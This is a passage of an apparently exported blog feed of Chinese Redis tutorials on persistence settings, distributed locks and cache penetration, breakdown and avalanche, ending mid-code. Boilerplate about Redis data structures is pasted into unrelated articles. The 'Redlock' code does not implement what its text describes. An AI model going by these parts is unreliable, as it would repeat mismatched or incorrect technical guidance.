开启 AOF</span></span><br><span class="line">redis-cli CONFIG SET appendonly <span class="built_in">yes</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="配置方式-1"><a href="#配置方式-1" class="headerlink" title="配置方式"></a>配置方式</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># redis.conf</span></span><br><span class="line"><span class="string">appendonly</span> <span class="literal">yes</span>                    <span class="comment"># 开启 AOF</span></span><br><span class="line"><span class="string">appendfsync</span> <span class="string">always</span>               <span class="comment"># 每次写入都同步（最安全，性能最差）</span></span><br><span class="line"><span class="comment"># appendfsync everysec           # 每秒同步（推荐）</span></span><br><span class="line"><span class="comment"># appendfsync no                 # 交给操作系统决定（性能最好，最不安全）</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="优缺点-1"><a href="#优缺点-1" class="headerlink" title="优缺点"></a>优缺点</h2><table><thead><tr><th>维度</th><th>优点</th><th>缺点</th></tr></thead><tbody><tr><td><strong>数据完整性</strong></td><td>几乎不丢数据</td><td>日志文件大</td></tr><tr><td><strong>可靠性</strong></td><td>支持多种同步策略</td><td>恢复速度慢</td></tr><tr><td><strong>灵活性</strong></td><td>可做日志分析</td><td>写性能略差</td></tr></tbody></table><h2 id="实战选型建议"><a href="#实战选型建议" class="headerlink" title="实战选型建议"></a>实战选型建议</h2><p>#</p><h2 id="场景一：纯缓存场景"><a href="#场景一：纯缓存场景" class="headerlink" title="场景一：纯缓存场景"></a>场景一：纯缓存场景</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 数据可从数据库恢复，允许丢失</span></span><br><span class="line"><span class="string">save</span> <span class="number">3600 </span><span class="number">1</span></span><br><span class="line"><span class="string">appendonly</span> <span class="literal">no</span></span><br></pre></td></tr></table></figure><p><strong>适用</strong>：缓存热点数据、Session 存储、排行榜</p><p>#</p><h2 id="场景二：混合场景"><a href="#场景二：混合场景" class="headerlink" title="场景二：混合场景"></a>场景二：混合场景</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 既要性能又要可靠性</span></span><br><span class="line"><span class="string">save</span> <span class="number">3600 </span><span class="number">1</span></span><br><span class="line"><span class="string">appendonly</span> <span class="literal">yes</span></span><br><span class="line"><span class="string">appendfsync</span> <span class="string">everysec</span></span><br></pre></td></tr></table></figure><p><strong>适用</strong>：支付系统、订单缓存、用户积分</p><p>#</p><h2 id="场景三：金融级可靠性"><a href="#场景三：金融级可靠性" class="headerlink" title="场景三：金融级可靠性"></a>场景三：金融级可靠性</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 不允许丢失任何数据</span></span><br><span class="line"><span class="string">save</span> <span class="number">86400</span> <span class="number">1</span></span><br><span class="line"><span class="string">appendonly</span> <span class="literal">yes</span></span><br><span class="line"><span class="string">appendfsync</span> <span class="string">always</span></span><br></pre></td></tr></table></figure><p><strong>适用</strong>：交易记录、账务系统</p><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><p>#</p><h2 id="1-AOF-重写"><a href="#1-AOF-重写" class="headerlink" title="1. AOF 重写"></a>1. AOF 重写</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 手动触发重写</span></span><br><span class="line">redis-cli BGREWRITEAOF</span><br></pre></td></tr></table></figure><p>定期重写可以减小 AOF 文件大小，避免日志无限增长。</p><p>#</p><h2 id="2-恢复顺序"><a href="#2-恢复顺序" class="headerlink" title="2. 恢复顺序"></a>2. 恢复顺序</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Redis 启动时先尝试 AOF，再尝试 RDB</span></span><br><span class="line"><span class="comment"># 可以通过配置指定优先级</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-监控指标"><a href="#3-监控指标" class="headerlink" title="3. 监控指标"></a>3. 监控指标</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看持久化状态</span></span><br><span class="line">redis-cli INFO persistence</span><br></pre></td></tr></table></figure><p>关注 <code>rdb_last_save_time</code>、<code>aof_last_rewrite_time</code> 等指标。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择持久化方案的关键是：</p><ol><li>评估数据的重要性和可恢复性</li><li>平衡性能和可靠性需求</li><li>结合业务场景做出选择</li></ol><p>我在多个项目中都遇到过持久化配置不当导致的问题。建议在测试环境充分验证后再上线。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 分布式锁：正确实现与避坑指南</title>
      <link href="//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/"/>
      <url>//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-分布式锁：正确实现与避坑指南"><a href="#Redis-分布式锁：正确实现与避坑指南" class="headerlink" title="Redis 分布式锁：正确实现与避坑指南"></a>Redis 分布式锁：正确实现与避坑指南</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="基础实现"><a href="#基础实现" class="headerlink" title="基础实现"></a>基础实现</h2><p>#</p><h2 id="错误示例"><a href="#错误示例" class="headerlink" title="错误示例"></a>错误示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 错误：存在竞态条件</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">lock</span> <span class="operator">=</span> redisTemplate.opsForValue().setIfAbsent(<span class="string">&quot;lock:order:1&quot;</span>, <span class="string">&quot;1&quot;</span>);</span><br><span class="line"><span class="keyword">if</span> (lock) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="comment">// 执行业务逻辑</span></span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        redisTemplate.delete(<span class="string">&quot;lock:order:1&quot;</span>); <span class="comment">// 可能释放别人的锁</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="正确实现"><a href="#正确实现" class="headerlink" title="正确实现"></a>正确实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">tryLock</span><span class="params">(String key, String value, <span class="type">long</span> timeout)</span> &#123;</span><br><span class="line">    <span class="comment">// 设置锁并指定超时时间，防止死锁</span></span><br><span class="line">    <span class="type">Boolean</span> <span class="variable">result</span> <span class="operator">=</span> redisTemplate.opsForValue()</span><br><span class="line">        .setIfAbsent(key, value, timeout, TimeUnit.SECONDS);</span><br><span class="line">    <span class="keyword">return</span> Boolean.TRUE.equals(result);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">unlock</span><span class="params">(String key, String value)</span> &#123;</span><br><span class="line">    <span class="comment">// 只释放自己的锁</span></span><br><span class="line">    <span class="type">String</span> <span class="variable">currentValue</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line">    <span class="keyword">if</span> (value.equals(currentValue)) &#123;</span><br><span class="line">        redisTemplate.delete(key);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="使用示例"><a href="#使用示例" class="headerlink" title="使用示例"></a>使用示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">LOCK_PREFIX</span> <span class="operator">=</span> <span class="string">&quot;lock:order:&quot;</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">LOCK_TIMEOUT</span> <span class="operator">=</span> <span class="number">30</span>; <span class="comment">// 30秒超时</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">processOrder</span><span class="params">(Long orderId)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">lockKey</span> <span class="operator">=</span> LOCK_PREFIX + orderId;</span><br><span class="line">        <span class="type">String</span> <span class="variable">lockValue</span> <span class="operator">=</span> UUID.randomUUID().toString();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">boolean</span> <span class="variable">locked</span> <span class="operator">=</span> tryLock(lockKey, lockValue, LOCK_TIMEOUT);</span><br><span class="line">            <span class="keyword">if</span> (!locked) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BusinessException</span>(<span class="string">&quot;请稍后重试&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 执行业务逻辑</span></span><br><span class="line">            updateOrderStatus(orderId);</span><br><span class="line">            </span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            unlock(lockKey, lockValue);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Lua-脚本优化"><a href="#Lua-脚本优化" class="headerlink" title="Lua 脚本优化"></a>Lua 脚本优化</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">unlock</span><span class="params">(String key, String value)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">script</span> <span class="operator">=</span> <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        if redis.call(&#x27;get&#x27;, KEYS[1]) == ARGV[1] then</span></span><br><span class="line"><span class="string">            return redis.call(&#x27;del&#x27;, KEYS[1])</span></span><br><span class="line"><span class="string">        else</span></span><br><span class="line"><span class="string">            return 0</span></span><br><span class="line"><span class="string">        end</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="type">Long</span> <span class="variable">result</span> <span class="operator">=</span> redisTemplate.execute(</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">DefaultRedisScript</span>&lt;&gt;(script, Long.class),</span><br><span class="line">        Collections.singletonList(key),</span><br><span class="line">        value</span><br><span class="line">    );</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> result != <span class="literal">null</span> &amp;&amp; result &gt; <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：保证原子性，避免竞态条件</p><h2 id="Redisson-实现"><a href="#Redisson-实现" class="headerlink" title="Redisson 实现"></a>Redisson 实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Autowired</span></span><br><span class="line"><span class="keyword">private</span> RedissonClient redissonClient;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">processOrder</span><span class="params">(Long orderId)</span> &#123;</span><br><span class="line">    <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redissonClient.getLock(<span class="string">&quot;lock:order:&quot;</span> + orderId);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="comment">// 最多等待10秒，锁定30秒</span></span><br><span class="line">        <span class="type">boolean</span> <span class="variable">locked</span> <span class="operator">=</span> lock.tryLock(<span class="number">10</span>, <span class="number">30</span>, TimeUnit.SECONDS);</span><br><span class="line">        <span class="keyword">if</span> (!locked) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BusinessException</span>(<span class="string">&quot;请稍后重试&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 执行业务逻辑</span></span><br><span class="line">        updateOrderStatus(orderId);</span><br><span class="line">        </span><br><span class="line">    &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">        Thread.currentThread().interrupt();</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BusinessException</span>(<span class="string">&quot;操作被中断&quot;</span>);</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (lock.isLocked() &amp;&amp; lock.isHeldByCurrentThread()) &#123;</span><br><span class="line">            lock.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="集群场景"><a href="#集群场景" class="headerlink" title="集群场景"></a>集群场景</h2><p>#</p><h2 id="问题分析"><a href="#问题分析" class="headerlink" title="问题分析"></a>问题分析</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">客户端 → Redis节点1（加锁成功）</span><br><span class="line">         Redis节点2（未同步）</span><br><span class="line">         Redis节点3（未同步）</span><br><span class="line">节点1宕机 → 锁丢失</span><br></pre></td></tr></table></figure><p>#</p><h2 id="Redlock-方案"><a href="#Redlock-方案" class="headerlink" title="Redlock 方案"></a>Redlock 方案</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Config</span> <span class="variable">config</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Config</span>();</span><br><span class="line">config.useClusterServers()</span><br><span class="line">    .addNodeAddress(<span class="string">&quot;redis://node1:6379&quot;</span>)</span><br><span class="line">    .addNodeAddress(<span class="string">&quot;redis://node2:6379&quot;</span>)</span><br><span class="line">    .addNodeAddress(<span class="string">&quot;redis://node3:6379&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">RedissonClient</span> <span class="variable">client</span> <span class="operator">=</span> Redisson.create(config);</span><br><span class="line"><span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> client.getLock(<span class="string">&quot;lock:order:&quot;</span> + orderId);</span><br></pre></td></tr></table></figure><p><strong>原理</strong>：在多个独立节点上加锁，超过半数成功才算锁定成功。</p><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><p>#</p><h2 id="1-锁超时问题"><a href="#1-锁超时问题" class="headerlink" title="1. 锁超时问题"></a>1. 锁超时问题</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 业务执行时间超过锁超时</span></span><br><span class="line">redisTemplate.opsForValue().setIfAbsent(<span class="string">&quot;lock&quot;</span>, <span class="string">&quot;value&quot;</span>, <span class="number">10</span>, TimeUnit.SECONDS);</span><br><span class="line"><span class="comment">// 业务执行了15秒...锁已过期被释放</span></span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：使用 Redisson 的自动续期功能</p><p>#</p><h2 id="2-锁重入问题"><a href="#2-锁重入问题" class="headerlink" title="2. 锁重入问题"></a>2. 锁重入问题</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 不支持重入</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">lock1</span> <span class="operator">=</span> tryLock(<span class="string">&quot;lock&quot;</span>, <span class="string">&quot;v1&quot;</span>, <span class="number">30</span>);</span><br><span class="line"><span class="type">boolean</span> <span class="variable">lock2</span> <span class="operator">=</span> tryLock(<span class="string">&quot;lock&quot;</span>, <span class="string">&quot;v2&quot;</span>, <span class="number">30</span>); <span class="comment">// 返回 false</span></span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：使用可重入锁（Redisson 支持）</p><p>#</p><h2 id="3-死锁预防"><a href="#3-死锁预防" class="headerlink" title="3. 死锁预防"></a>3. 死锁预防</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ✅ 始终设置超时时间</span></span><br><span class="line">redisTemplate.opsForValue()</span><br><span class="line">    .setIfAbsent(key, value, timeout, TimeUnit.SECONDS);</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>实现分布式锁的关键是：</p><ol><li>使用 <code>SET key value NX EX</code> 保证原子性</li><li>使用唯一 value 防止误删别人的锁</li><li>使用 Lua 脚本保证解锁的原子性</li><li>在集群环境考虑使用 Redlock</li></ol><p>我在项目中经历过多次锁相关的问题，这些经验希望能帮到你。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>缓存三大问题：穿透、击穿、雪崩的解决方案</title>
      <link href="//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/"/>
      <url>//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/</url>
      
        <content type="html"><![CDATA[<h1 id="缓存三大问题：穿透、击穿、雪崩的解决方案"><a href="#缓存三大问题：穿透、击穿、雪崩的解决方案" class="headerlink" title="缓存三大问题：穿透、击穿、雪崩的解决方案"></a>缓存三大问题：穿透、击穿、雪崩的解决方案</h1><p>在使用 Redis 缓存时，有三个经典问题需要特别注意：缓存穿透、缓存击穿和缓存雪崩。今天我想分享一下这些问题的原因和解决方案。</p><h2 id="缓存穿透"><a href="#缓存穿透" class="headerlink" title="缓存穿透"></a>缓存穿透</h2><h3 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a>问题描述</h3><p>查询一个不存在的数据，每次都绕过缓存直接访问数据库。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 穿透示例</span></span><br><span class="line"><span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line">    <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line">    <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">        user = userMapper.selectById(userId); <span class="comment">// 数据库也查不到</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h3><h4 id="方案一：缓存空值"><a href="#方案一：缓存空值" class="headerlink" title="方案一：缓存空值"></a>方案一：缓存空值</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line">    <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> user;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    user = userMapper.selectById(userId);</span><br><span class="line">    <span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">        redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 缓存空值，防止穿透</span></span><br><span class="line">        redisTemplate.opsForValue().set(key, <span class="string">&quot;&quot;</span>, Duration.ofMinutes(<span class="number">5</span>));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="方案二：布隆过滤器"><a href="#方案二：布隆过滤器" class="headerlink" title="方案二：布隆过滤器"></a>方案二：布隆过滤器</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Autowired</span></span><br><span class="line"><span class="keyword">private</span> BloomFilter&lt;String&gt; bloomFilter;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 先检查布隆过滤器</span></span><br><span class="line">    <span class="keyword">if</span> (!bloomFilter.mightContain(key)) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>; <span class="comment">// 一定不存在</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line">    <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">        user = userMapper.selectById(userId);</span><br><span class="line">        <span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">            redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="缓存击穿"><a href="#缓存击穿" class="headerlink" title="缓存击穿"></a>缓存击穿</h2><h3 id="问题描述-1"><a href="#问题描述-1" class="headerlink" title="问题描述"></a>问题描述</h3><p>热点 key 过期瞬间，大量请求直接打到数据库。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 击穿示例：热点 key 过期</span></span><br><span class="line">redisTemplate.opsForValue().set(<span class="string">&quot;hot:product:1&quot;</span>, product, Duration.ofMinutes(<span class="number">5</span>));</span><br><span class="line"><span class="comment">// 5分钟后 key 过期，大量请求同时访问数据库</span></span><br></pre></td></tr></table></figure><h3 id="解决方案-1"><a href="#解决方案-1" class="headerlink" title="解决方案"></a>解决方案</h3><h4 id="方案一：互斥锁"><a href="#方案一：互斥锁" class="headerlink" title="方案一：互斥锁"></a>方案一：互斥锁</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> Product <span class="title function_">getHotProduct</span><span class="params">(Long productId)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;hot:product:&quot;</span> + productId;</span><br><span class="line">    <span class="type">String</span> <span class="variable">lockKey</span> <span class="operator">=</span> <span class="string">&quot;lock:product:&quot;</span> + productId;</span><br><span class="line">    </span><br><span class="line">    <span class="type">Product</span> <span class="variable">product</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line">    <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> product;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取锁</span></span><br><span class="line">    <span class="type">Boolean</span> <span class="variable">locked</span> <span class="operator">=</span> redisTemplate.opsForValue()</span><br><span class="line">        .setIfAbsent(lockKey, <span class="string">&quot;1&quot;</span>, Duration.ofSeconds(<span class="number">30</span>));</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (Boolean.TRUE.equals(locked)) &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 再次检查缓存</span></span><br><span class="line">            product = redisTemplate.opsForValue().get(key);</span><br><span class="line">            <span class="keyword">if</span> (product == <span class="literal">null</span>) &#123;</span><br><span class="line">                product = productMapper.selectById(productId);</span><br><span class="line">                <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">                    redisTemplate.opsForValue().set(key, product, Duration.ofMinutes(<span class="number">5</span>));</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            redisTemplate.delete(lockKey);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 等待其他线程完成</span></span><br><span class="line">        Thread.sleep(<span class="number">100</span>);</span><br><span class="line">        <span class="keyword">return</span> getHotProduct(productId);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> product;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="方案二：逻辑过期"><a href="#方案二：逻辑过期" class="headerlink" title="方案二：逻辑过期"></a>方案二：逻辑过期</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> Product <span class="title function_">getHotProduct</span><span class="params">(Long productId)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;hot:product:&quot;</span> + productId;</span><br><span class="line">    <span class="type">ProductWrapper</span> <span class="variable">wrapper</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (wrapper == <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="comment">// 从数据库加载并设置逻辑过期</span></span><br><span class="line">        <span class="type">Product</span> <span class="variable">product</span> <span class="operator">=</span> productMapper.selectById(productId);</span><br><span class="line">        wrapper = <span class="keyword">new</span> <span class="title class_">ProductWrapper</span>(product, System.currentTimeMillis() + <span class="number">5</span> * <span class="number">60</span> * <span class="number">1000</span>);</span><br><span class="line">        redisTemplate.opsForValue().set(key, wrapper, Duration.ofMinutes(<span class="number">60</span>));</span><br><span class="line">        <span class="keyword">return</span> product;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (wrapper.isExpired()) &#123;</span><br><span class="line">        <span class="comment">// 异步刷新缓存</span></span><br><span class="line">        executorService.submit(() -&gt; refreshCache(productId));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> wrapper.getProduct();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="缓存雪崩"><a href="#缓存雪崩" class="headerlink" title="缓存雪崩"></a>缓存雪崩</h2><h3 id="问题描述-2"><a href="#问题描述-2" class="headerlink" title="问题描述"></a>问题描述</h3><p>大量 key 同时过期，导致数据库压力骤增。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 雪崩示例：所有 key 同一时间过期</span></span><br><span class="line">redisTemplate.opsForValue().set(<span class="string">&quot;user:1&quot;</span>, user1, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">redisTemplate.opsForValue().set(<span class="string">&quot;user:2&quot;</span>, user2, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">redisTemplate.opsForValue().set(<span class="string">&quot;user:3&quot;</span>, user3, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line"><span class="comment">// 30分钟后全部过期</span></span><br></pre></td></tr></table></figure><h3 id="解决方案-2"><a href="#解决方案-2" class="headerlink" title="解决方案"></a>解决方案</h3><h4 id="方案一：随机过期时间"><a href="#方案一：随机过期时间" class="headerlink" title="方案一：随机过期时间"></a>方案一：随机过期时间</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">cacheUser</span><span class="params">(User user)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + user.getId();</span><br><span class="line">    <span class="comment">// 给过期时间增加随机值（20-40分钟）</span></span><br><span class="line">    <span class="type">long</span> <span class="variable">random</span> <span class="operator">=</span> ThreadLocalRandom.current().nextLong(<span class="number">20</span>, <span class="number">41</span>);</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(random));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="方案二：分级缓存"><a href="#方案二：分级缓存" class="headerlink" title="方案二：分级缓存"></a>方案二：分级缓存</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">hotKey</span> <span class="operator">=</span> <span class="string">&quot;hot:user:&quot;</span> + 